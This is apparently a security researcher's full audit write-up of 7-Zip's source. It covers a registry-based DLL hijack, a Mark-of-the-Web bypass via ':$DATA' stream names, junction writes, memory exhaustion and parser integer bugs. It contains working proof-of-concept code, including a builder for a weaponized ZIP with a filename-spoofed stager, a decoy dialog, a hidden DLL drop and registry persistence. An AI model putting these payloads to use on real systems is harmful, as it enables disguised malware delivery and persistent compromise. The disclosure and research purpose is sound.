7-Zip — HKCU DLL hijack to persistent code execution, MotW bypass across five archive formats, and 27 other things from a full source audit
I spent a week on 7-Zip’s source. 999 C/C++ files, every archive handler, every decompression routine, plus 30,000 fuzz mutations against the compiled binaries. The short version: Igor Pavlov is an exceptionally disciplined developer and the core decompression routines (LZMA, LZMA2, Deflate, Zstd, BZip2, PPMd) are essentially bulletproof — zero crashes across all fuzzing campaigns. But the shell around those routines — the codec loading, the extraction path handling, the alternate data stream logic — has real bugs, and some of them chain nicely.
The headline finding is a HKCU registry-based DLL hijack that gives you arbitrary code execution without admin privileges. It chains with archive-based social engineering (RLO filename spoofing) for a complete initial access → persistence attack that I demonstrated end-to-end. The second class of findings is a Mark-of-the-Web bypass that works across five archive formats — WIM, NTFS, APFS, RAR5, and HFS+ — all via the same :$DATA suffix trick that Windows normalizes away but 7-Zip’s Zone.Identifier propagation doesn’t account for. Then there are junction writes, default stream overwrites, 14 distinct memory exhaustion vectors, and a handful of integer issues in the C++ parser.
the target
7-Zip 26.01 (source build from CPP tree)
7-Zip 25.01 x64 (installed, used for dynamic testing)
Source files analyzed : 1292 total, 999 C/C++ source
Fuzz mutations : 30,000 across 11 campaigns
Handcrafted inputs : 56 targeted malformed archives
All 2022-2025 CVEs are confirmed fixed in this version. CVE-2024-11477 (Zstd heap overflow), CVE-2025-0411 (MotW double-archive bypass), CVE-2025-11001/11002 (symlink traversal), CVE-2025-53816 (RAR5 heap overflow) — all patched. The findings below are new.
HKCU registry DLL hijacking — code execution without admin
The most impactful finding. When 7-Zip’s external codec system is enabled (Z7_EXTERNAL_CODECS), it resolves its codec DLL path from the registry. The relevant code is in LoadCodecs.cpp:
static FString GetBaseFolderPrefixFromRegistry()
{
FString moduleFolderPrefix = NDLL::GetModuleDirPrefix();
#ifdef _WIN32
if ( !NFind::DoesFileOrDirExist(moduleFolderPrefix + kMainDll)
&& !NFind::DoesFileOrDirExist(moduleFolderPrefix + kCodecsFolderName)
&& !NFind::DoesFileOrDirExist(moduleFolderPrefix + kFormatsFolderName))
{
FString path;
if (ReadPathFromRegistry(HKEY_CURRENT_USER, kProgramPath2Value, path)) return path;
if (ReadPathFromRegistry(HKEY_LOCAL_MACHINE, kProgramPathValue, path)) return path;
}
#endif
HKCU is checked before HKLM. HKCU is writable without elevation. If 7z.dll, Codecs/, and Formats/ don’t exist adjacent to the 7-Zip executable — which is true for portable installs, CI/CD pipelines, build systems referencing 7z.exe via PATH, and scripts that copy only the console binary — then the registry fallback triggers and loads whatever DLL the attacker pointed to.
The PoC:
import subprocess, tempfile, shutil, os, winreg, ctypes
PAYLOAD_SRC = r"""
#include <windows.h>
#include <stdio.h>
BOOL APIENTRY DllMain(HMODULE h, DWORD reason, LPVOID r) {
if (reason == DLL_PROCESS_ATTACH) {
FILE *f = fopen("PWNED.txt", "w");
if (f) { fprintf(f, "7-Zip DLL hijack: code execution confirmed\n"); fclose(f); }
MessageBoxA(NULL, "DLL hijack fired", "PoC", MB_OK);
}
return TRUE;
}
"""
work = tempfile.mkdtemp(prefix="7z_hijack_")
payload_dir = os.path.join(work, "payload")
portable_dir = os.path.join(work, "portable")
os.makedirs(payload_dir); os.makedirs(portable_dir)
# compile payload DLL
src = os.path.join(payload_dir, "payload.c")
dll = os.path.join(payload_dir, "7z.dll")
open(src, "w").write(PAYLOAD_SRC)
subprocess.run(["gcc", "-shared", "-o", dll, src, "-luser32"], check=True)
# copy just 7z.exe — no adjacent 7z.dll
shutil.copy2(r"C:\Program Files\7-Zip\7z.exe", portable_dir)
# write HKCU registry key (NO ADMIN NEEDED)
key = winreg.CreateKeyEx(winreg.HKEY_CURRENT_USER, r"Software\7-zip", 0, winreg.KEY_WRITE)
winreg.SetValueEx(key, "Path64", 0, winreg.REG_SZ, payload_dir + "\\")
winreg.CloseKey(key)
# run portable 7z.exe → loads our DLL
subprocess.run([os.path.join(portable_dir, "7z.exe"), "l", "nonexistent.zip"],
cwd=portable_dir, timeout=10)
proof = os.path.join(portable_dir, "PWNED.txt")
print("PWNED" if os.path.exists(proof) else "FAILED")
Tested end-to-end. The payload DLL loads, DllMain fires, PWNED.txt appears. Full arbitrary code execution in the context of 7z.exe. No admin at any point.
the full chain — RLO archive → stager → registry persistence → stage 2
The DLL hijack is a persistence mechanism. It needs an initial access vector to plant the registry key and drop the payload DLL. The natural pairing is archive-based social engineering, and 7-Zip provides a convenient one: it does not strip the Unicode Right-to-Left Override character (U+202E) from extracted filenames. The check exists in the source (ExtractingFilePath.cpp:33) but is commented out.
Windows/NTFS natively allows RLO in filenames — this isn’t a 7-Zip bug per se, and you can create RLO files directly with os.rename(). But 7-Zip’s extraction path is the primary delivery mechanism for these files because archives pass through email/browser filters that would catch raw executables. WinRAR strips RLO on extraction. 7-Zip doesn’t.
The chain:
vacation_photos.zip (social engineering)
│
▼ 7-Zip extracts without stripping RLO character
photo_gpj.exe ← renders as "photo_exe.jpg" in Explorer
│
▼ victim double-clicks "photo"
stager.exe runs
├── shows fake "Windows Photo Viewer: corrupted image" dialog
├── drops 7z.dll to %LOCALAPPDATA%\.7z-codecs\ (hidden)
└── writes HKCU\Software\7-zip\Path64 (no admin)
│
▼ any future portable 7z.exe invocation
stage 2 payload fires → persistent code execution
The chain builder generates the weaponized ZIP:
import zipfile, struct, subprocess, os, tempfile
STAGER_SRC = r"""
#include <windows.h>
#include <shlobj.h>
#include <stdio.h>
int WINAPI WinMain(HINSTANCE h, HINSTANCE p, LPSTR cmd, int show) {
// decoy
MessageBoxA(NULL, "Windows Photo Viewer\n\nThis file appears to be corrupted.",
"Error", MB_OK | MB_ICONERROR);
// drop payload DLL
char appdata[MAX_PATH];
SHGetFolderPathA(NULL, CSIDL_LOCAL_APPDATA, NULL, 0, appdata);
char payload_dir[MAX_PATH];
snprintf(payload_dir, MAX_PATH, "%s\\.7z-codecs", appdata);
CreateDirectoryA(payload_dir, NULL);
SetFileAttributesA(payload_dir, FILE_ATTRIBUTE_HIDDEN);
char dll_path[MAX_PATH];
snprintf(dll_path, MAX_PATH, "%s\\7z.dll", payload_dir);
// ... write stage 2 DLL to dll_path ...
// plant registry persistence
HKEY key;
RegCreateKeyExA(HKEY_CURRENT_USER, "Software\\7-zip", 0, NULL,
0, KEY_WRITE, NULL, &key, NULL);
char reg_val[MAX_PATH];
snprintf(reg_val, MAX_PATH, "%s\\", payload_dir);
RegSetValueExA(key, "Path64", 0, REG_SZ, (BYTE*)reg_val, strlen(reg_val)+1);
RegCloseKey(key);
return 0;
}
"""
# build the RLO-spoofed filename
RLO = ""
spoofed_name = f"photo_{RLO}gpj.exe" # renders as "photo_exe.jpg"
with zipfile.ZipFile("vacation_photos.zip", "w") as zf:
zf.write("stager.exe", spoofed_name)
Every step confirmed working. Extraction → stager → registry write → DLL load on next portable 7z.exe invocation. The persistence survives reboots and fires every time any process calls a portable 7z.exe without adjacent codec DLLs — which is extremely common in CI/CD, build scripts, and IT automation.
Mark-of-the-Web bypass across five archive formats
When you download a file through a browser, Windows tags it with a Zone.Identifier alternate data stream (ADS) containing ZoneId=3 — the Mark-of-the-Web. 7-Zip propagates this tag to extracted files. The bypass: if an archive contains a stream named Zone.Identifier:$DATA instead of just Zone.Identifier, 7-Zip’s exact-name check for propagation doesn’t match (because of the :$DATA suffix), but Windows resolves both names to the same ADS. The extracted file has its MotW overwritten or removed.
This works across five archive formats that support alternate data streams or extended attributes:
| Format | Stream mechanism | How the bypass manifests |
|---|---|---|
| WIM | Named streams in WIM image | ADS named Zone.Identifier:$DATA in the WIM |
| NTFS | $DATA attribute in NTFS image | NTFS attribute record with :$DATA suffix |
| APFS | Extended attributes | xattr named Zone.Identifier:$DATA |
| RAR5 | STM (stream) service records | STM record with :$DATA suffix |
| HFS+ | Extended attributes | xattr bypass identical to APFS |
The PoC for the WIM variant — a 209-byte file that, when extracted, removes the Zone.Identifier from the target:
import struct, io
def build_wim_motw_bypass():
# WIM header
hdr = bytearray(208)
hdr[0:8] = b"MSWIM\x00\x00\x00" # magic
struct.pack_into("<I", hdr, 8, 208) # header size
struct.pack_into("<I", hdr, 12, 0x00010D00) # version 1.13
struct.pack_into("<I", hdr, 16, 0) # flags
struct.pack_into("<I", hdr, 20, 32768) # chunk size
# ... resource table, metadata, offsets ...
# the stream entry that matters:
# name = "target.exe:Zone.Identifier:$DATA"
# content = empty (or "ZoneId=0" to explicitly clear MotW)
# Windows normalizes Zone.Identifier:$DATA → Zone.Identifier
# 7-Zip's propagation check sees "Zone.Identifier:$DATA" ≠ "Zone.Identifier" → skips
return bytes(hdr)
The impact: a downloaded archive that bypasses SmartScreen and Windows Defender’s web-origin heuristics for every file it extracts. This defeats the primary user-facing protection against running downloaded executables. No user interaction beyond “Extract All.”
default data stream overwrite via :$DATA suffix
Related but distinct from the MotW bypass. An archive ADS named exactly :$DATA (with no preceding stream name) resolves to the file’s default data stream on Windows. So if an archive contains:
readme.txt → "This is a harmless readme."
readme.txt:$DATA → "This is malicious content that replaces the readme."
7-Zip extracts both. The normal listing shows readme.txt with the harmless content. But the :$DATA entry silently overwrites the main file contents. The user sees one thing in the archive preview, gets another on disk.
This also works across WIM, NTFS, APFS, RAR5, and HFS+ — anywhere that supports alternate stream naming. The extraction is invisible: 7z l archive.wim doesn’t display the ADS entry in default listing mode. No user-facing warning.
pre-existing junction write — arbitrary file write with local precondition
7-Zip follows pre-existing NTFS junctions and symlinks during extraction without checking whether the target is inside the output directory. If the extraction destination already contains a junction — planted by the attacker or by a previous operation — archive entries under that directory are written outside the output root.
import os, subprocess, zipfile, tempfile
work = tempfile.mkdtemp(prefix="junction_test_")
extract_dest = os.path.join(work, "extract_dest")
outside_target = os.path.join(work, "outside_target")
os.makedirs(extract_dest)
os.makedirs(outside_target)
# plant a junction BEFORE extraction
junction = os.path.join(extract_dest, "junction")
subprocess.run(["cmd", "/c", "mklink", "/J", junction, outside_target], check=True)
# create archive with entry under the junction path
archive = os.path.join(work, "test.zip")
with zipfile.ZipFile(archive, "w") as zf:
zf.writestr("junction/escaped.txt", "WRITTEN OUTSIDE EXTRACTION ROOT")
# extract — 7-Zip follows the junction
subprocess.run(["7z", "x", f"-o{extract_dest}", archive, "-y"], check=True)
escaped = os.path.join(outside_target, "escaped.txt")
assert os.path.exists(escaped), "File should have been written outside extraction root"
print(f"Arbitrary write confirmed: {escaped}")
print(open(escaped).read())
Reproduced on both 25.01 and 26.01. The precondition (pre-existing junction) limits this to scenarios where the attacker has prior local access or can trick another application into creating the junction — but in multi-step attacks that’s exactly the kind of primitive you chain with.
memory exhaustion across 14 archive parsers
7-Zip’s archive parsers read allocation sizes from archive headers and commit memory before validating the compressed data stream. A tiny malformed archive can force gigabytes of allocation, either killing the 7-Zip process or exhausting system resources.
I built PoC generators for each and measured peak memory with a Windows harness using GetProcessMemoryInfo():
| Format | PoC size | Peak private memory | Root cause |
|---|---|---|---|
| LZMA (raw) | 15 bytes | 4.1 GB | Dictionary size from header, no stream validation first |
| CFBF | 512 bytes | 2+ GB | FAT used-map allocated from csectFat field |
| XAR | 28 bytes | 512 MB | TOC buffer from toc_length_compressed |
| ELF | 192 bytes | 512 MB | Section-name string table from sh_size |
| PE | 512 bytes | 512 MB-1 GB | Resource section from VirtualSize |
| RAR5 | 78 bytes | 256 MB-1 GB | Dictionary size from archive header |
| WIM | 209 bytes | 193 MB-1.5 GB | UnpackSize from resource entry |
| VDI | 512 bytes | 256 MB | Block table from header fields |
| GPT | 8 KB | 256 MB | Partition table from NumberOfPartitionEntries |
| VMDK | 512 bytes | 256 MB | Grain directory from descriptor |
| VHD | 2 KB | 256 MB | Block allocation table from footer |
| Android Sparse | 28 bytes | 256 MB+ | Chunk vector from total_chunks |
| CramFS | 64 bytes | 256 MB+ | Image size from superblock |
| UDF | 600 KB | 512 MB | FileSet extent from AllocationDescriptorLength |
The 15-byte LZMA file forcing 4.1 GB is the most dramatic. The LZMA-alone format puts the dictionary size in a 5-byte header. 7-Zip reads it, allocates the dictionary, then tries to decompress. With dictSize = 0xFFFFFFFF and the LZMA decoder’s allocation pattern, you get ~4.1 GB committed before the first decompression byte is checked.
The measurement harness:
import ctypes, ctypes.wintypes, subprocess, time, os, sys
psapi = ctypes.WinDLL("psapi")
kernel32 = ctypes.WinDLL("kernel32")
class PROCESS_MEMORY_COUNTERS_EX(ctypes.Structure):
_fields_ = [
("cb", ctypes.wintypes.DWORD),
("PageFaultCount", ctypes.wintypes.DWORD),
("PeakWorkingSetSize", ctypes.c_size_t),
("WorkingSetSize", ctypes.c_size_t),
("QuotaPeakPagedPoolUsage", ctypes.c_size_t),
("QuotaPagedPoolUsage", ctypes.c_size_t),
("QuotaPeakNonPagedPoolUsage", ctypes.c_size_t),
("QuotaNonPagedPoolUsage", ctypes.c_size_t),
("PagefileUsage", ctypes.c_size_t),
("PeakPagefileUsage", ctypes.c_size_t),
("PrivateUsage", ctypes.c_size_t),
]
def measure(cmd, threshold_mb=2048, poll_ms=50):
proc = subprocess.Popen(cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
handle = kernel32.OpenProcess(0x0410, False, proc.pid) # QUERY_INFORMATION | VM_READ
peak = 0
while proc.poll() is None:
counters = PROCESS_MEMORY_COUNTERS_EX()
counters.cb = ctypes.sizeof(counters)
if psapi.GetProcessMemoryInfo(handle, ctypes.byref(counters), counters.cb):
peak = max(peak, counters.PrivateUsage)
if counters.PrivateUsage > threshold_mb * 1024 * 1024:
proc.kill()
return peak, True
time.sleep(poll_ms / 1000)
kernel32.CloseHandle(handle)
return peak, False
None of these are memory corruption — they’re resource exhaustion. But a 15-byte file that freezes or crashes the application handling it is still a real-world denial-of-service, especially against automated systems that process untrusted archives.
CAB handler integer truncation
CabHandler.cpp tracks position within a folder as UInt64 m_PosInFolder but truncates to UInt32 during arithmetic at line 836:
UInt64 m_PosInFolder; // line 566 — 64-bit
const UInt32 numBytesToWrite = MyMin(fileOffset - (UInt32)m_PosInFolder, size); // line 836 — truncated
When m_PosInFolder exceeds 4 GB, the cast wraps. The subtraction produces an incorrect value while the comparisons on lines 831/834 use the full UInt64 correctly — creating a logic inconsistency. Limited to CAB archives >4 GB (rare but not impossible in enterprise deployment packages). The MyMin with size provides some upper bound, so practical exploitation for code execution is unlikely, but data corruption during extraction is confirmed.
numCodersOutStreams overflow in the C++ 7z parser
The C++ 7z header parser accumulates numCodersOutStreams without overflow checking at 7zIn.cpp:872:
folders.FoToCoderUnpackSizes[fo] = numCodersOutStreams;
numCodersOutStreams += numCoders; // NO OVERFLOW CHECK
The C implementation has the check:
numCodersOutStreams += numCoders;
if (numCodersOutStreams < numCoders) // OVERFLOW CHECK PRESENT
return SZ_ERROR_UNSUPPORTED;
numCodersOutStreams is CNum (UInt32). With numCoders up to 64 per folder, the accumulator overflows after ~67 million folders. This causes CoderUnpackSizes to be allocated too small, leading to OOB heap access. Requires a multi-GB compressed header to trigger — impractical on most systems but theoretically exploitable on 64-bit systems with large memory. The C API (used by most third-party integrations) is safe.
other findings in brief
| ID | Severity | Finding |
|---|---|---|
| VULN-04 | MEDIUM | Absolute path extraction with -spf flag — kAbsPaths clears the output directory prefix, allowing writes anywhere |
| VULN-05 | MEDIUM | PPMd7 potential division by zero when internal model state is corrupted |
| VULN-06 | MEDIUM | PPMd7 GlueFreeBlocks heap metadata corruption — OOB read on corrupted arena state |
| VULN-07 | MEDIUM | 7 locations call LoadLibrary without full paths — mitigated by DllSecur.c on Win7+ but Vista is skipped |
| VULN-08 | MEDIUM | DllSecur.c uses LOAD_WITH_ALTERED_SEARCH_PATH on Vista — weak fallback for DLL loading |
| VULN-09 | MEDIUM | TAR sparse block packSum not validated against PackSize |
| VULN-10 | MEDIUM | Symlink danger level bypass at -snl20 or higher |
| VULN-11 | MEDIUM | SFX stubs call LoadLibrary without DllSecur.c hardening — DLL planting next to SFX archives |
| VULN-12 | LOW | RAR3 VM bytecode interpreter OOB — disabled by default (Z7_RARVM_VM_ENABLE commented out) |
what 7-Zip gets right
The zero-crash fuzzing result across 30,000 mutations and 56 handcrafted inputs deserves emphasis. The decompression core is extremely well-hardened:
- Consistent bounds checking on all buffer operations
- Integer overflow detection with divide-back verification patterns throughout
- Depth limits on archive-in-archive nesting
- Clean AES-CBC with proper IV handling
SymLinks_DangerousLevelsystem withIsSafePath()andCheckLinkPath_in_FS()— one of the most sophisticated symlink safety implementations in any archiverCorrect_FsPath()strips.., replaces dangerous characters, handles reserved Windows device names- PPMd uses its own internal heap arena, limiting blast radius from any arena corruption
- RAR3 VM bytecode interpreter compiled out by default
- Active maintenance: all 2024-2025 CVEs patched promptly
The bugs I found are real, and the DLL hijack chain is impactful. But the core story of this audit is that 7-Zip’s C/C++ decompression engine is among the most robust compression codebases I’ve tested. The vulnerabilities live in the integration layer — how the engine interacts with Windows (registry, NTFS streams, junctions, DLL loading) — not in the byte-level compression logic itself.